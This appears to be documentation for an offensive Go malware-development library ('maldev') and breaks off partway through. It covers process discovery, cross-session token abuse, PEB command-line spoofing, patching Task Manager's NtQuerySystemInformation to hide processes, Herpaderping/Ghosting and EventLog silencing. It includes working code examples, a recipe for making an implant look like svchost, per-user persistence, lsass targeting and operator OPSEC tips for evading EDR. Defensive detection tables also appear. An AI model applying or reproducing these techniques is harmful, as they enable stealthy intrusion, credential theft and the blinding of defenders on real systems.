_EPROCESS.Tokenswap
Limitations
- Race is non-deterministic. Default 30s timeout — increase via
Config.Timeoutfor hardened hosts where the race window is shorter. - May BSOD on misfire (kernel write to invalid address). The exploit guards against the most common misfires but cannot rule them out.
- Requires
SeChangeNotifyPrivilege(granted to all users) and Windows 10 1507+ — not Win7/8. - Patched hosts (post-June 2024) return
ErrPatchedfrom pre-flight.
See also
win/version—CVE202430088()pre-flightprivesc/uac— non-kernel route when UAC is in playwin/token— companion token primitives
Process techniques
The process/* package tree groups two concerns:
- Discovery / management (
enum,session) — cross-platform process listing and Windows session / token enumeration. - Tampering (
tamper/fakecmd,tamper/herpaderping,tamper/hideprocess,tamper/phant0m) — Windows-only primitives that lie about, hide, or silence parts of the running-process picture.
flowchart TB
subgraph discovery [Discovery / management]
ENUM[enum<br>Win32 Toolhelp + Linux /proc<br>List / FindByName / FindProcess]
SESS[session<br>WTSEnumerate + cross-session<br>CreateProcess / Impersonate]
end
subgraph tamper [process/tamper/*]
FK[fakecmd<br>PEB CommandLine spoof<br>self + remote PID]
HD[herpaderping<br>kernel image-section cache<br>Herpaderping + Ghosting]
HP[hideprocess<br>NtQSI patch in target<br>blind Task Manager / ProcExp]
PH[phant0m<br>EventLog thread termination<br>SCM still RUNNING]
end
subgraph consumers [Downstream consumers]
LSA[credentials/lsassdump]
INJ[inject/*]
EVA[evasion.Technique chains]
end
ENUM --> LSA
ENUM --> HP
ENUM --> PH
SESS --> INJ
HD --> EVA
PH --> EVA
Where to start (novice path):
enum— list processes / find by name. Foundation every other operation builds on (need a PID before you do anything to it).session— Windows session/token enumeration. Pair withenumwhen targeting cross-session work (Run-as-User, interactive desktop access).tamper/fakecmd— disguise YOUR command line in PEB. Pairs withevasion/ppid-spoofingfor the parent disguise.tamper/hideprocess— hide YOUR process from Task Manager / ProcExp by patching theirNtQuerySystemInformation.tamper/herpaderping,tamper/phant0m— specialised; pick when defender configuration warrants (kernel image-section cache abuse vs EventLog silencing).
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
process/enum | enum.md | quiet | Cross-platform process list / find-by-name (Windows + Linux) |
process/session | session.md | moderate | Windows session enum + cross-session CreateProcess / Impersonate |
process/tamper/fakecmd | fakecmd.md | quiet | PEB CommandLine spoof (self + remote PID) |
process/tamper/herpaderping | herpaderping.md | moderate | Kernel image-section cache exploit (Herpaderping + Ghosting) |
process/tamper/hideprocess | hideprocess.md | moderate | Patch NtQSI in target → blind Task Manager / ProcExp |
process/tamper/phant0m | phant0m.md | noisy | Terminate EventLog worker threads; SCM still shows RUNNING |
Quick decision tree
| You want to… | Use |
|---|---|
| …find a process by name (cross-platform) | enum.FindByName |
| …enumerate Windows sessions / users | session.Active |
| …spawn under another user's token | session.CreateProcessOnActiveSessions |
| …run a callback under another user's identity briefly | session.ImpersonateThreadOnActiveSession |
| …spoof your process's command-line in user-mode triage | fakecmd.Spoof |
| …spawn a process whose disk image lies | herpaderping.Run (ModeHerpaderping or ModeGhosting) |
| …blind a single analyst tool's process listing | hideprocess.PatchProcessMonitor |
…silence the Windows Event Log without sc stop | phant0m.Kill |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1057 | Process Discovery | process/enum, process/session | D3-PA |
| T1134.001 | Access Token Manipulation: Token Impersonation/Theft | process/session | D3-USA |
| T1134.002 | Access Token Manipulation: Create Process with Token | process/session | D3-PSA |
| T1036.005 | Masquerading: Match Legitimate Name or Location | process/tamper/fakecmd | D3-PSA |
| T1055.013 | Process Doppelgänging | process/tamper/herpaderping | D3-PSA, D3-FCA |
| T1027.005 | Indicator Removal from Tools | process/tamper/hideprocess, process/tamper/herpaderping | D3-SCA |
| T1564.001 | Hide Artifacts: Hidden Process | process/tamper/hideprocess | D3-RAPA |
| T1562.002 | Impair Defenses: Disable Windows Event Logging | process/tamper/phant0m | D3-RAPA, D3-PA |
Layered cover recipe
A typical "look like svchost while running implant work" stack:
- Spawn via
herpaderpingso the on-disk image lies (or is gone, withModeGhosting). - PEB CommandLine via
fakecmd.Spoofso user-mode triage showssvchost.exe -k netsvcs. - Identity at link time via
pe/masquerade/preset/svchostso VERSIONINFO + manifest + icon all match. - Authenticode via
pe/cert.Copyso file-property dialogs see a Microsoft signature. - Triage tools via
hideprocessso the first user opening Task Manager sees nothing. - Logs via
phant0m.Killso EventLog doesn't capture lateral activity.
Each step has its own detection profile; layered, the bar rises significantly.
See also
- Operator path: process tampering
- Detection eng path: process telemetry
pe/masquerade— link-time identity clone.pe/cert— Authenticode graft.evasion/etw— pair with phant0m for full logging silence.credentials/lsassdump— primary consumer ofprocess/enum.inject— alternative toprocess/tamper/herpaderpingfor in-process delivery.
Process enumeration
TL;DR
List or find running processes by name across Windows + Linux.
Pure Go on top of CreateToolhelp32Snapshot / /proc. Used by
credentials/lsassdump to find lsass, by process/tamper/phant0m
to find the EventLog svchost, and by every "find this process by
name" workflow that doesn't want a Windows-specific dependency.
Primer
Process enumeration is the "hello world" of post-exploitation
discovery. Every implant eventually wants to find lsass.exe,
explorer.exe, the EventLog svchost, the user's browser. The
package wraps the platform's standard listing API and surfaces
the same Process struct shape on both OSes.
The technique itself is universally invisible — every Task
Manager, every ps, every container runtime calls these
APIs. EDRs do not flag the enumeration; they correlate it
against subsequent suspicious actions (lsass open, token
theft, process hollowing).
How It Works
flowchart LR
subgraph win [Windows]
TH[CreateToolhelp32Snapshot<br>TH32CS_SNAPPROCESS]
TH --> P32[Process32First/Next walk]
P32 --> WIN[Process<br>PID/PPID/Name]
end
subgraph linux [Linux]
PROC[walk /proc/<pid>/]
PROC --> COMM[read comm + status]
COMM --> LIN[Process<br>PID/PPID/Name]
end
WIN --> OUT[List or FindByName or FindProcess]
LIN --> OUT
The comm file on Linux carries the truncated 16-byte process
name; for the full executable path use process/session.ImagePath
(Windows-only) or read /proc/<pid>/exe.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/process/enum is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — list everything
import "github.com/oioio-space/maldev/process/enum"
procs, _ := enum.List()
for _, p := range procs {
fmt.Printf("%5d %5d %s\n", p.PID, p.PPID, p.Name)
}
Composed — find lsass + open it
import (
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/process/enum"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
procs, _ := enum.FindByName("lsass.exe")
if len(procs) == 0 {
return
}
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
h, err := lsassdump.OpenLSASS(caller)
defer lsassdump.CloseLSASS(h)
Advanced — predicate-based search
Find a child of explorer.exe that runs from a user-writable path — typical pattern for finding an injection target.
explPID := uint32(0)
procs, _ := enum.FindByName("explorer.exe")
if len(procs) > 0 {
explPID = procs[0].PID
}
target, _ := enum.FindProcess(func(name string, pid, ppid uint32) bool {
return ppid == explPID && strings.HasSuffix(name, ".exe")
})
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) calls | Universal API — every Task Manager, AV, EDR uses it. Not a useful signal. |
| Sustained polling of process list | Behavioural EDR may flag a process that calls Process32Next thousands of times per second |
Enumeration immediately followed by OpenProcess(lsass, VM_READ) | EDR rule correlation — credential dumping pattern |
/proc walks from non-shell processes | Linux EDR rules; rare unless the implant polls aggressively |
D3FEND counters:
- D3-PA — behavioural correlation of enumeration + subsequent open/inject calls.
Hardening for the operator:
- Enumerate once, cache, reuse — sustained polling stands out.
- Scope
FindProcesspredicates tightly so the package short-circuits on the first match (avoid full snapshot walks when you only need one PID). - Pair with
process/session.Activeinstead of full enum when you only need logged-in interactive sessions.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1057 | Process Discovery | full — name + predicate search across Windows + Linux | D3-PA |
Limitations
Process32Nextrace conditions. Processes can exit between snapshot and read; Windows handles this gracefully butFindProcessmay miss a process that existed at the start of the walk.- No image-path resolution.
Processcarries name only. For full path useprocess/session.ImagePath(Windows) or read/proc/<pid>/exe(Linux). - No command-line. PEB-based command-line surfacing is out of scope; use a separate ETW / WMI query when the command line matters.
- Linux
commis truncated. 15 chars + nul. Process names longer than that need/proc/<pid>/cmdline[0].
See also
process/session— Windows-specific session + threads + modules + image-path enumeration.credentials/lsassdump— primary consumer (find lsass).process/tamper/phant0m— consumer (find EventLog svchost).- Operator path.
- Detection eng path.
Session enumeration & cross-session execution
TL;DR
Enumerate Windows logon sessions via WTSEnumerateSessions,
spawn processes under another user's token with proper
station/desktop handles, and impersonate other users on a
locked OS thread. Used to plant per-user persistence across
multi-user hosts (Citrix / RDS / terminal server) and to run
short callbacks under alternate credentials without spawning
a full process. Windows-only.
Primer
A multi-user Windows host runs a separate logon session per interactive user, each with its own desktop, station, and token. Implants planted in one session can't influence another by default — process creation in session 0 doesn't appear on the user's desktop, and a kerberos ticket cached in user A's session is invisible to user B.
process/session bridges those gaps:
List/Activeenumerate sessions via WTS APIs.Activefilters to currently-logged-on interactive sessions — the ones that matter operationally.CreateProcessOnActiveSessionsspawns a process under another user's token in their desktop — useful for per-user persistence on a host that won't reboot soon.ImpersonateThreadOnActiveSessionruns a callback on a locked OS thread under alternate credentials, then reverts. Useful for filesystem / network operations that need the user's identity but not a full process.
The package handles the Win32 plumbing: token duplication,
environment-block construction (CreateEnvironmentBlock),
profile loading (LoadUserProfile), station + desktop
attachment (winsta0\default).
How It Works
sequenceDiagram
participant Op as "Operator"
participant WTS as "WTSEnumerateSessions"
participant Tok as "token.Token (user)"
participant Env as "CreateEnvironmentBlock"
participant CP as "CreateProcessAsUser"
participant Imp as "Implant"
Op->>WTS: List() / Active()
WTS-->>Op: []Info{SessionID, Username, …}
Op->>Tok: WTSQueryUserToken(sessionID)
Op->>Env: CreateEnvironmentBlock(tok)
Op->>CP: CreateProcessAsUser(tok, exe, env, "winsta0\\default")
CP->>Imp: process spawned in user's desktop
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/process/session is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — list active sessions
import "github.com/oioio-space/maldev/process/session"
infos, _ := session.Active()
for _, i := range infos {
fmt.Printf("session %d: %s\\%s (%v)\n",
i.SessionID, i.Domain, i.Username, i.State)
}
Composed — per-user persistence on RDS
Spawn the implant under each active user's token so each user sees the persistence in their session.
import (
"github.com/oioio-space/maldev/process/session"
"github.com/oioio-space/maldev/win/token"
)
infos, _ := session.Active()
for _, i := range infos {
tok, err := token.WTSQueryUserToken(i.SessionID)
if err != nil {
continue
}
_ = session.CreateProcessOnActiveSessions(tok,
`C:\Users\Public\winupdate.exe`,
[]string{"--silent"},
)
}
Advanced — short impersonation for SMB write
Mount a per-user workflow under a target user's identity without spawning a separate process.
import (
"os"
"github.com/oioio-space/maldev/process/session"
"github.com/oioio-space/maldev/win/token"
)
tok, _ := token.WTSQueryUserToken(targetSessionID)
_ = session.ImpersonateThreadOnActiveSession(tok, func() error {
// Inside this callback, the OS thread runs as the user.
// Network / file ops use the user's credentials.
f, err := os.Create(`\\fileshare\\users\\target\\report.docx`)
if err != nil {
return err
}
return f.Close()
})
Advanced — alternate desktop / station
CreateProcessOnActiveSessionsWith opens the door to redirecting
the spawned process onto a non-default desktop. Two operator
scenarios:
import (
"github.com/oioio-space/maldev/process/session"
"github.com/oioio-space/maldev/win/token"
)
tok, _ := token.WTSQueryUserToken(sessionID)
// 1) Spawn onto the SYSTEM service station (when running as SYSTEM
// and you want the new process to live alongside services
// instead of jumping into the user's interactive desktop).
_ = session.CreateProcessOnActiveSessionsWith(tok,
`C:\Windows\System32\cmd.exe`,
nil,
session.Options{Desktop: `Service-0x0-3e7$\Default`},
)
// 2) Spawn onto a hidden desktop you set up upstream via
// CreateDesktopW so the UI is invisible to the user even if the
// binary creates windows.
_ = session.CreateProcessOnActiveSessionsWith(tok,
`C:\Users\Public\impl.exe`,
nil,
session.Options{Desktop: `Winsta0\maldev-stealth`},
)
See ExampleList
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Security Event 4624 (logon) with type 9 (NewCredentials) | Cross-session process creation + impersonation |
| Security Event 4648 (explicit credentials logon) | Token-based process creation |
| Process tree: svchost spawning under a user that doesn't own svchost | Lineage anomaly — Defender / MDE rules |
WTSEnumerateSessions from non-Microsoft processes | Rare; some EDRs flag |
| Multiple sessions seeing the same implant binary path simultaneously | Per-user persistence pattern |
D3FEND counters:
Hardening for the operator:
- Use a binary path consistent with the cloned identity
(
%LOCALAPPDATA%\Microsoft\OneDrive\…for OneDrive-looking persistence). - For RDS / Citrix targets, prefer
ImpersonateThreadOnActiveSessionfor one-shot ops overCreateProcessOnActiveSessions— no new process to log. - Pair with
process/tamper/fakecmdso the spawned child's PEB CommandLine matches a legitimate per-user task.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1134.002 | Access Token Manipulation: Create Process with Token | full | D3-PSA |
| T1134.001 | Access Token Manipulation: Token Impersonation/Theft | full — ImpersonateThreadOnActiveSession | D3-USA |
Limitations
- Windows-only. Linux stub returns errors on every entry point.
- Token requirement.
WTSQueryUserTokenneeds SYSTEM context; without it, the operator can only operate in their own session. - Profile loading is heavy.
LoadUserProfilemounts the user's hive; on hosts where the user is rarely active this can take seconds. - Desktop / station defaults to inherit from the caller.
CreateProcessOnActiveSessions(legacy entry point) leavesSTARTUPINFOW.lpDesktopNULL, which inherits the caller's station+desktop — typicallyWinsta0\Defaultfor an interactive logon. UseCreateProcessOnActiveSessionsWith+Options.Desktopto override (operator-controlled hidden desktops, SYSTEM service stations, etc.). Pre-existing Winlogon-owned desktops (Secure Desktop, Lock Screen) still reject CreateProcessAsUser by ACL — that boundary stays. - No reverse path. Once impersonating, this package's
callback model auto-reverts; long-running impersonation
requires manual
RevertToSelfdiscipline elsewhere.
See also
win/token— token primitives feeding this package.win/impersonate— sibling impersonation helpers.process/enum— sibling cross-platform process walker.persistence/service— alternative SYSTEM-scope persistence that doesn't require per-user tokens.- Operator path.
- Detection eng path.
PEB CommandLine spoof (FakeCmd)
TL;DR
Overwrite the current process's PEB CommandLine UNICODE_STRING
so process-listing tools (Task Manager, Process Explorer, wmic,
Get-Process) display a fake command-line. Self (Spoof) or
remote (SpoofPID). Kernel EPROCESS retains the real value so
ETW-side telemetry is not fooled.
Primer
When a defender lists processes (Task Manager, Process Explorer,
Get-Process | Select CommandLine, Sysmon Event ID 1), the
command-line shown is read out of the target process's PEB,
not from a separate kernel record. The kernel keeps a frozen
copy in EPROCESS.SeAuditProcessCreationInfo captured at
process creation that user-mode cannot rewrite.
fakecmd overwrites the user-mode PEB field so every user-mode
reader sees a benign command-line — a beaconing implant
launched as C:\evil.exe --c2 1.2.3.4 can present itself as
C:\Windows\System32\svchost.exe -k netsvcs.
This fools user-mode triage; kernel-sourced telemetry (Sysmon
ProcessCreate via ETW-Ti, PsSetCreateProcessNotifyRoutineEx,
Defender's MsSense, MDE) still sees the original. Pair with
pe/masquerade to also clone the binary's
embedded VERSIONINFO so user-mode triage of the on-disk file
matches.
How It Works
sequenceDiagram
participant Reader as "Process Explorer / Sysmon-usermode / EDR"
participant PEB as "Target PEB"
participant PP as "RTL_USER_PROCESS_PARAMETERS"
participant CmdLine as "UNICODE_STRING CommandLine"
participant Kernel as "EPROCESS<br>(SeAuditProcessCreationInfo)"
Note over PEB,PP: Setup at process creation
PP->>CmdLine: Length / MaximumLength / Buffer = "evil.exe --c2 …"
Kernel-->>Kernel: SeAuditProcessCreationInfo = "evil.exe --c2 …" (frozen)
Note over PEB,CmdLine: fakecmd.Spoof rewrites here
CmdLine->>CmdLine: Buffer ← "svchost.exe -k netsvcs"<br>Length / MaximumLength updated
Reader->>PEB: NtQueryInformationProcess(ProcessBasicInformation)
Reader->>PP: Follow PEB.ProcessParameters
Reader->>CmdLine: Read CommandLine
CmdLine-->>Reader: "svchost.exe -k netsvcs" (fake)
Reader->>Kernel: ETW / audit
Kernel-->>Reader: "evil.exe --c2 …" (real)
Layout: PEB.ProcessParameters (offset +0x20 x64) →
RTL_USER_PROCESS_PARAMETERS → CommandLine UNICODE_STRING
at RUPP+0x70. Overwrite Length, MaximumLength, and
Buffer with the new UTF-16 string.
Self vs remote:
Spoofrewrites the current process's own PEB — no privilege needed, instant.SpoofPIDrewrites another process's PEB viaOpenProcess(VM_READ|VM_WRITE|VM_OPERATION|QUERY_INFORMATION)NtQueryInformationProcess+NtAllocateVirtualMemory+WriteProcessMemory. Typically requires SeDebugPrivilege.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/process/tamper/fakecmd is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — self spoof
import "github.com/oioio-space/maldev/process/tamper/fakecmd"
if err := fakecmd.Spoof(`C:\Windows\System32\svchost.exe -k netsvcs`, nil); err != nil {
return
}
defer fakecmd.Restore()
Composed — indirect syscall
import (
"github.com/oioio-space/maldev/process/tamper/fakecmd"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
_ = fakecmd.Spoof(`C:\Windows\System32\svchost.exe -k netsvcs`, caller)
defer fakecmd.Restore()
Advanced — PPID-spoof + child PEB rewrite
Pair PPID spoofing with PEB rewrite so user-mode triage sees
explorer.exe → svchost.exe -k netsvcs -p -s Schedule instead
of cmd.exe → implant.exe --c2 ….
import (
"os"
"os/exec"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/process/tamper/fakecmd"
)
if os.Getenv("RESPAWNED") == "" {
sp := shell.NewPPIDSpooferWithTargets([]string{"explorer.exe"})
_ = sp.FindTargetProcess()
attr, h, _ := sp.SysProcAttr()
cmd := exec.Command(os.Args[0])
cmd.Env = append(os.Environ(), "RESPAWNED=1")
cmd.SysProcAttr = attr
_ = cmd.Start()
_ = h
return
}
_ = fakecmd.Spoof(
`C:\Windows\System32\svchost.exe -k netsvcs -p -s Schedule`,
nil,
)
defer fakecmd.Restore()
runBeacon()
See ExampleSpoof.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| User-mode PEB CommandLine | Spoofed; user-mode triage sees fake |
Kernel EPROCESS.SeAuditProcessCreationInfo | Real — Sysmon Event 1 (kernel ETW) sees the original |
| Sysmon ProcessCreate event | Built from kernel ETW, not user-mode PEB → real value |
wmic process queries | User-mode → fake |
tasklist /v | User-mode → fake |
| Process Hacker / Process Explorer | User-mode → fake |
| Defender for Endpoint MsSense alerts | Kernel ETW-Ti → real |
D3FEND counters:
- D3-PSA — kernel ETW-based lineage / command-line capture is unaffected.
- D3-SEA
— pair with
pe/masqueradeto also fool the on-disk PE static-info reader.
Hardening for the operator:
- Pair with
pe/masqueradefor binary identity match. - Pair with PPID spoofing (
c2/shell.PPIDSpoofer) so the process tree also looks plausible. - Defer
Restore()if the process is long-running — cached PEB reads after dump-and-revive can otherwise expose the fake. - Don't rely on this against EDRs whose ProcessCreate telemetry is sourced from kernel ETW (most modern stacks).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1036.005 | Masquerading: Match Legitimate Name or Location | partial — user-mode CommandLine only | D3-PSA |
| T1564 | Hide Artifacts | generic | D3-SEA |
Limitations
- User-mode only. Kernel ETW-Ti, Sysmon Event 1,
PsSetCreateProcessNotifyRoutineExall see the real value. - Cached reads. Tools that cached the original CommandLine before spoofing display the original until they refresh.
- No image-path spoof. Spoof rewrites CommandLine, not
ImagePathName. Pair withpe/masqueradefor binary metadata cloning. - Remote spoof requires SeDebugPrivilege.
SpoofPIDopens the target withVM_WRITE+VM_OPERATION.
See also
pe/masquerade— pair to clone embedded VERSIONINFO + manifest.process/tamper/hideprocess— sibling user-mode tampering surface.win/syscall— direct/indirect syscall caller routing.- Operator path.
- Detection eng path.
Hide processes from Task Manager (NtQSI patch)
TL;DR
Patch NtQuerySystemInformation in a target process so it
returns STATUS_NOT_IMPLEMENTED. The target's process listing
becomes empty — Task Manager, Process Explorer, ProcessHacker,
Get-Process running inside that process all show nothing.
Other processes (EDR agents, kernel telemetry) are unaffected.
Primer
Process-listing tools all ultimately call
NtQuerySystemInformation(SystemProcessInformation, …) to ask
the kernel for the running-process snapshot. hideprocess
doesn't hide processes from the kernel — it goes into a
specific user-mode tool's address space and patches that
tool's NtQuerySystemInformation prologue so the syscall
never happens. The function returns STATUS_NOT_IMPLEMENTED
immediately; the tool sees an empty list.
This is blinding the analyst's tool, not hiding the target. Defenders running an EDR agent that does its own enumeration from a separate, un-patched process see everything normally; kernel-sourced telemetry (Sysmon, Microsoft-Windows-Threat-Intelligence ETW, MsSense) is unaffected.
How It Works
sequenceDiagram
participant Impl as "Implant"
participant Target as "Taskmgr.exe (target)"
participant NtQSI as "ntdll!NtQuerySystemInformation"
Impl->>Impl: GetModuleHandle("ntdll.dll") + GetProcAddress("NtQSI")
Note over Impl: ntdll loads at the same VA in every<br>process per boot — local VA = remote VA
Impl->>Target: OpenProcess(VM_WRITE | VM_OPERATION)
Impl->>NtQSI: WriteProcessMemory(prologue, stub)
Note over NtQSI: 7-byte stub:<br>B8 02 00 00 C0 mov eax, 0xC0000002<br>C2 10 00 ret 0x10
Target->>NtQSI: NtQuerySystemInformation(SystemProcessInformation, …)
NtQSI-->>Target: STATUS_NOT_IMPLEMENTED
Target->>Target: empty process list
Why it works:
- On Win 8+,
ntdll.dllis loaded at the same VA in every process per boot (base randomised once viaKUSER_SHARED_DATA), so the implant resolvesNtQuerySystemInformationlocally and the VA is identical in the target. - The stub returns
0xC0000002=STATUS_NOT_IMPLEMENTED. The caller's error path typically falls back to an empty result set. - Only the patched process is affected — kernel telemetry
doesn't go through user-mode
NtQuerySystemInformation.
Coverage matrix
| Enumeration path | Tool examples | Bottoms out in | Covered by |
|---|---|---|---|
NtQuerySystemInformation(SystemProcessInformation) | Task Manager (default), tasklist.exe, ProcessHacker default view, Sysinternals pslist, native PEB walks | ntdll!NtQuerySystemInformation → SSDT | PatchProcessMonitor |
EnumProcesses (psapi) | Older tasklist /v, anti-malware product enumeration, many .NET Process.GetProcesses() paths | kernel32!K32EnumProcesses (psapi forwarder) → NtQuerySystemInformation | PatchEnumProcesses |
Toolhelp32 (CreateToolhelp32Snapshot + Process32{First,Next}W) | Many open-source enumerators, debug tooling, classic VB/Delphi apps | kernel32!Process32FirstW / Process32NextW → NtQuerySystemInformation | PatchToolhelp |
WMI SELECT * FROM Win32_Process | Get-WmiObject, Get-CimInstance, COM clients | wmiprvse.exe (separate process) → cimwin32!QueryProcesses → NtQuerySystemInformation | Not covered — requires a separate injection into wmiprvse.exe. See Limitations. |
| Kernel-source enumeration | EDR drivers, Sysmon Event ID 1, ETW Threat-Intelligence | kernel PsQuerySystemInformation directly, or Pcw* performance counters | Not covered — user-mode patch is invisible to ring-0. |
The bottom two rows aren't accidents — they are fundamental
boundaries. PatchAll covers everything that flows through
the user-mode ntdll surface in the patched process; anything
that crosses into another process or into the kernel is out
of reach by design.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/process/tamper/hideprocess is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — blind a known PID
import "github.com/oioio-space/maldev/process/tamper/hideprocess"
const taskmgrPID = 1234
_ = hideprocess.PatchProcessMonitor(taskmgrPID, nil)
Composed — sweep by name
Blind every running analyst tool found via
process/enum.
import (
"github.com/oioio-space/maldev/process/enum"
"github.com/oioio-space/maldev/process/tamper/hideprocess"
)
procs, _ := enum.List()
for _, p := range procs {
switch p.Name {
case "Taskmgr.exe", "procexp.exe", "procexp64.exe", "ProcessHacker.exe":
_ = hideprocess.PatchProcessMonitor(int(p.PID), nil)
}
}
Advanced — watch + auto-blind on launch
Poll for analyst-tool launches and patch each one as it appears. Useful as a long-running implant component on a multi-user host.
import (
"time"
"github.com/oioio-space/maldev/process/enum"
"github.com/oioio-space/maldev/process/tamper/hideprocess"
)
func watch() {
targets := map[string]bool{
"Taskmgr.exe": true,
"procexp.exe": true,
"procexp64.exe": true,
"ProcessHacker.exe": true,
}
blinded := map[uint32]bool{}
for {
procs, err := enum.List()
if err == nil {
for _, p := range procs {
if !targets[p.Name] || blinded[p.PID] {
continue
}
if err := hideprocess.PatchProcessMonitor(int(p.PID), nil); err == nil {
blinded[p.PID] = true
}
}
}
time.Sleep(1 * time.Second)
}
}
See ExamplePatchProcessMonitor.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
WriteProcessMemory against ntdll .text of an analyst tool | EDR cross-process write telemetry — high-fidelity if the tool is monitored |
OpenProcess(VM_WRITE) against Taskmgr.exe / procexp.exe | Sysmon Event 10 (ProcessAccess) with VM_WRITE access mask |
.text integrity check on ntdll inside the target | Some EDRs hash the prologue periodically — stub bytes diverge from canonical |
| Behavioural correlation: EDR sees activity, Task Manager doesn't | Mature SOC tells, but only with proactive hunt |
| Kernel telemetry unaffected | EDR sees normal process activity from its own un-patched process |
D3FEND counters:
Hardening for the operator:
- Use indirect syscalls via
wsyscall.Callerso the cross-process write doesn't go through hookedWriteProcessMemory. - Patch all candidate tools at once; selective patching leaves some tooling fully functional.
- The patch does not persist across the target's process restart — pair with a watch loop that re-patches on relaunch.
- Don't use this on hosts where EDRs hash ntdll periodically (Microsoft Defender does not by default; Elastic / S1 / CS vary).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1564.001 | Hide Artifacts: Hidden Process | full — user-mode tooling blinded | D3-RAPA |
| T1027.005 | Indicator Removal from Tools | partial — neutralises local triage tools | D3-SCA |
Limitations
- User-mode only. Kernel-sourced enumeration sees everything.
- Per-process patch. Patches are not persistent across target restart; tool relaunch returns to clean ntdll.
- Other processes unaffected. EDR agents in their own process see the full process list normally.
- Requires
PROCESS_VM_WRITE. SeDebugPrivilege or ownership of the target. .textintegrity check defeats this. Rare in production EDRs but trivially detectable when present.- WMI
Win32_Processnot covered. Clients queryingSELECT * FROM Win32_Processroute through the WMI provider host (wmiprvse.exe) which loadscimwin32.dll. Patching that path requires injecting into a different process from the one running the patches; out of scope for the in-process tamper API. Blockwmiprvse.exeenumeration externally (firewall / DACL on the WMI namespace) if WMI is in scope. PatchAllcovers the three Win32 enumeration paths most defenders use (NtQuerySystemInformation, K32EnumProcesses, Toolhelp32). Other ntdll exports that re-implement enumeration (e.g.,NtQuerySystemInformationExintroduced in Win10 RS5) are not patched; verify against your target monitoring stack.
See also
process/enum— discovery of patch targets.process/tamper/fakecmd— sibling user-mode tampering surface.evasion/unhook— sibling ntdll patching surface (in this case to un-patch).win/syscall— indirect syscall caller for the cross-process write.- Operator path.
- Detection eng path.
Process Herpaderping & Ghosting
TL;DR
Exploit the kernel image-section cache so the running process
executes one PE while the file on disk reads as another (or
doesn't exist). ModeHerpaderping overwrites the backing file
with a decoy after the section is mapped; ModeGhosting deletes
the file before the process is created. EDR file-based
inspection sees the decoy / fails open. Win11 26100+ blocks
both modes (STATUS_NOT_SUPPORTED).
Primer
When Windows creates a process from a PE file, the kernel maps the image into an immutable section object and caches it. The cache survives after the file handle closes — and can survive after the file itself is overwritten or deleted. The running process executes the cached image; downstream readers that go back to the file see whatever's there now.
This package exploits that gap. The payload is mapped → the
file is replaced with a decoy → the thread is created. EDR /
AV security callbacks fire at thread creation (PsSetCreateThreadNotifyRoutine)
and file-read inside the callback returns the decoy, not the
original payload.
Two variants:
- Herpaderping (jxy-s, 2020) — overwrite the file with a decoy after mapping. Decoy can be a real signed PE (svchost, notepad) or random bytes.
- Ghosting (Gabriel Landau, 2021) — create a delete-pending
file, map as
SEC_IMAGE, close the handle to let the delete complete. The file never exists at the moment of thread creation.
Win11 24H2 / 25H2 (build ≥ 26100) blocks both modes —
NtCreateProcessEx returns STATUS_NOT_SUPPORTED on a section
backed by a tampered or deleted file. The package treats every
build ≥ 26100 as blocked out of caution; operators with
verified-working 26100 builds can drop the test skip locally.
How It Works
sequenceDiagram
participant Op as "Operator"
participant Sec as "NtCreateSection<br>(SEC_IMAGE)"
participant Cache as "Kernel image cache"
participant Disk as "Backing file"
participant Proc as "NtCreateProcessEx"
participant Thr as "NtCreateThreadEx"
participant EDR
Op->>Sec: payload.exe → section
Sec->>Cache: cache image (immutable)
Op->>Proc: NtCreateProcessEx(section)
Note over Op,Disk: Mode-specific step
Op->>Disk: Herpaderping: overwrite with decoy<br>OR Ghosting: delete (file unlinked)
Op->>Thr: NtCreateThreadEx
Thr->>EDR: PsSetCreateThreadNotifyRoutine fires
EDR->>Disk: read backing file
Disk-->>EDR: decoy / file-not-found
Note over Cache,Thr: Process executes from cached image<br>= original payload
The on-disk decoy can be a signed system binary so authenticode verification at the EDR-callback time succeeds against the wrong PE.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/process/tamper/herpaderping is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — Herpaderping with svchost decoy
import "github.com/oioio-space/maldev/process/tamper/herpaderping"
_ = herpaderping.Run(herpaderping.Config{
PayloadPath: "implant.exe",
TargetPath: `C:\Windows\Temp\legit.exe`,
DecoyPath: `C:\Windows\System32\svchost.exe`,
})
Composed — Ghosting (recommended for win10/11 ≤ 22H2)
No on-disk artefact at thread-creation time.
_ = herpaderping.Run(herpaderping.Config{
Mode: herpaderping.ModeGhosting,
PayloadPath: "implant.exe",
TargetPath: `C:\Windows\Temp\nohost.exe`,
})
Advanced — composed with AMSI patch
Pair the spawn with an in-process AMSI bypass via the
evasion.Technique chain.
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
